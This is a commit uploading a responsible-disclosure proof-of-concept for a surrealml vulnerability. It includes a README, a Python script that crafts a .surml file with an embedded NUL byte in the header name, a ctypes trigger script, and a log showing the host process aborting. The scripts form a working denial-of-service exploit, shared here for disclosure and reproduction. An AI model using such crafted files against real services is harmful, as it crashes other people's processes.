testamentaria commited on
Commit
05bfdef
·
verified ·
1 Parent(s): cdc062c

Upload 5 files

Browse files
README.md ADDED
@@ -0,0 +1,51 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ---
2
+ tags:
3
+ - security
4
+ - proof-of-concept
5
+ - surrealml
6
+ ---
7
+
8
+ # SurrealML process-abort PoC (`load_model` / embedded NUL byte)
9
+
10
+ This repository contains a proof-of-concept `.surml` file for a responsibly-disclosed
11
+ vulnerability in [`surrealdb/surrealml`](https://github.com/surrealdb/surrealml) (tested at commit
12
+ `152ac2d508f1bae9ee62c46b7d211d80e40a6425`), reported via huntr's Model File Vulnerability
13
+ program.
14
+
15
+ ## What this file is
16
+
17
+ `malicious_nul_name.surml` is a syntactically valid (but minimal) SurrealML container: a 4-byte
18
+ big-endian header-length prefix, a header whose `name` field is the literal string
19
+ `evil\x00name` (a raw embedded NUL byte, all other header fields left empty/fresh), and 16 bytes
20
+ of placeholder model data. It follows exactly the header format documented and unit-tested in the
21
+ project's own `modules/core/src/storage/header/mod.rs`.
22
+
23
+ ## What happens when you load it
24
+
25
+ ```python
26
+ import ctypes
27
+ lib = ctypes.CDLL("libc_wrapper.so") # or .dll / .dylib
28
+ lib.load_model(b"malicious_nul_name.surml")
29
+ ```
30
+
31
+ `load_model()` reads and parses the file successfully (the header format tolerates an embedded
32
+ NUL byte fine), then panics while converting the `name` field to a C string
33
+ (`CString::new(name).unwrap()` at `modules/c-wrapper/src/api/storage/load_model.rs:124`), since a
34
+ `CString` cannot represent an interior NUL byte. Because `load_model` is a plain `extern "C" fn`
35
+ rather than `extern "C-unwind"`, this panic aborts the entire host process — it cannot be caught
36
+ as an exception by a Python/Node/etc. caller, and no error result is ever returned.
37
+
38
+ A single ~65-byte file is enough to kill any process that calls `load_model()` on it — no
39
+ inference, no other API call required.
40
+
41
+ See the reporter's full write-up submitted via huntr for the complete technical analysis, the
42
+ related prior-art discussion (GitHub issue
43
+ [surrealdb/surrealml#20](https://github.com/surrealdb/surrealml/issues/20), a similar
44
+ "malformed file crashes the whole server" report from 2024 that was reopened after an incomplete
45
+ fix), and a second, unrelated finding (a use-after-free in the Python client's `to_bytes()`).
46
+
47
+ ## Scope note
48
+
49
+ This PoC is provided solely for the purpose of responsible vulnerability disclosure and
50
+ reproduction by the `surrealml` maintainers / huntr triage team. It is not intended for any other
51
+ use.
craft_malicious_surml.py ADDED
@@ -0,0 +1,27 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ """
2
+ Construye a mano un fichero .surml malicioso con un byte NUL embebido en el campo `name`
3
+ del header, replicando exactamente el formato documentado/testeado en
4
+ modules/core/src/storage/header/mod.rs (test_to_bytes) y surml_file.rs (from_file):
5
+ [4 bytes big-endian: longitud del header] + [header UTF-8, campos separados por "//=>"] + [bytes del modelo]
6
+
7
+ Header::to_bytes() serializa 11 elementos unidos por "//=>":
8
+ "", keys, normalisers, output, name, version, description, engine, origin, input_dims, ""
9
+ Un header "fresh" (vacio) es exactamente "//=>//=>//=>//=>//=>//=>//=>//=>//=>//=>" (10 delimitadores).
10
+ Aqui solo se rellena el campo `name` (indice 4) con un valor que contiene un 0x00 interior.
11
+ """
12
+ import struct
13
+
14
+ parts = ["", "", "", "", "evil\x00name", "", "", "", "", "", ""]
15
+ header_str = "//=>".join(parts)
16
+ header_bytes = header_str.encode("utf-8")
17
+
18
+ model_bytes = b"\x00" * 16 # contenido de modelo irrelevante para este PoC
19
+
20
+ out_path = "malicious_nul_name.surml"
21
+ with open(out_path, "wb") as f:
22
+ f.write(struct.pack(">I", len(header_bytes)))
23
+ f.write(header_bytes)
24
+ f.write(model_bytes)
25
+
26
+ print(f"Escrito {out_path} ({len(header_bytes)} bytes de header + {len(model_bytes)} bytes de modelo)")
27
+ print(f"header_str repr: {header_str!r}")
malicious_nul_name.surml ADDED
Binary file (69 Bytes). View file
 
trigger_load_model_abort.py ADDED
@@ -0,0 +1,40 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ """
2
+ Llama a load_model() de la libc_wrapper.dll recien compilada sobre el fichero .surml
3
+ malicioso (malicious_nul_name.surml, generado por craft_malicious_surml.py) para confirmar
4
+ si el proceso aborta (Candidato 1 de focus-02-c-wrapper-ffi.md) en vez de devolver un
5
+ FileInfo con is_error=1.
6
+
7
+ Se ejecuta como proceso HIJO separado (ver run_trigger.py) precisamente porque si el bug es
8
+ real, este proceso Python entero morira sin excepcion capturable.
9
+ """
10
+ import ctypes
11
+ from ctypes import Structure, c_char_p, c_int
12
+ import os
13
+
14
+ DLL_PATH = os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "repo", "target", "release", "c_wrapper.dll"))
15
+
16
+
17
+ class FileInfo(Structure):
18
+ _fields_ = [
19
+ ("file_id", c_char_p),
20
+ ("name", c_char_p),
21
+ ("description", c_char_p),
22
+ ("version", c_char_p),
23
+ ("error_message", c_char_p),
24
+ ("is_error", c_int),
25
+ ]
26
+
27
+
28
+ lib = ctypes.CDLL(DLL_PATH)
29
+ lib.load_model.argtypes = [c_char_p]
30
+ lib.load_model.restype = FileInfo
31
+
32
+ print("Antes de load_model() -- si el proceso muere aqui sin imprimir la linea de abajo, "
33
+ "confirma el abort no capturable.")
34
+ outcome = lib.load_model(os.path.abspath("malicious_nul_name.surml").encode("utf-8"))
35
+ print("DESPUES de load_model() -- NO abortó.")
36
+ print(f"is_error={outcome.is_error}")
37
+ if outcome.is_error:
38
+ print(f"error_message={outcome.error_message.decode('utf-8', errors='replace')}")
39
+ else:
40
+ print(f"file_id={outcome.file_id}, name={outcome.name}")
verification-log.txt ADDED
@@ -0,0 +1,22 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ === NUL byte in .surml header name field aborts the whole process via load_model() ===
2
+ Command: python craft_malicious_surml.py && python trigger_load_model_abort.py
3
+ Working dir: targets/surrealml/verify/
4
+ Built artifact: targets/surrealml/repo/target/release/c_wrapper.dll (cargo build -p c-wrapper --release,
5
+ commit 152ac2d508f1bae9ee62c46b7d211d80e40a6425)
6
+
7
+ Escrito malicious_nul_name.surml (49 bytes de header + 16 bytes de modelo)
8
+ header_str repr: '//=>//=>//=>//=>evil\x00name//=>//=>//=>//=>//=>//=>'
9
+
10
+ === ahora disparando load_model() en un proceso hijo ===
11
+
12
+ thread '<unnamed>' (19392) panicked at modules\c-wrapper\src\api\storage\load_model.rs:124:35:
13
+ called `Result::unwrap()` on an `Err` value: NulError(4, [101, 118, 105, 108, 0, 110, 97, 109, 101])
14
+ note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace
15
+ fatal runtime error: Rust panics must be rethrown, aborting
16
+ EXIT CODE: 127
17
+
18
+ Interpretation: the child process died with "fatal runtime error: Rust panics must be rethrown,
19
+ aborting" -- no FileInfo{is_error:1} was ever returned, no Python exception was raised, the
20
+ "DESPUES de load_model()" line was never printed. A single ~65-byte crafted .surml file (49-byte
21
+ header + 16-byte model) with one embedded 0x00 byte in the model `name` field is enough to abort
22
+ the entire host process calling load_model(), before any inference/compute step.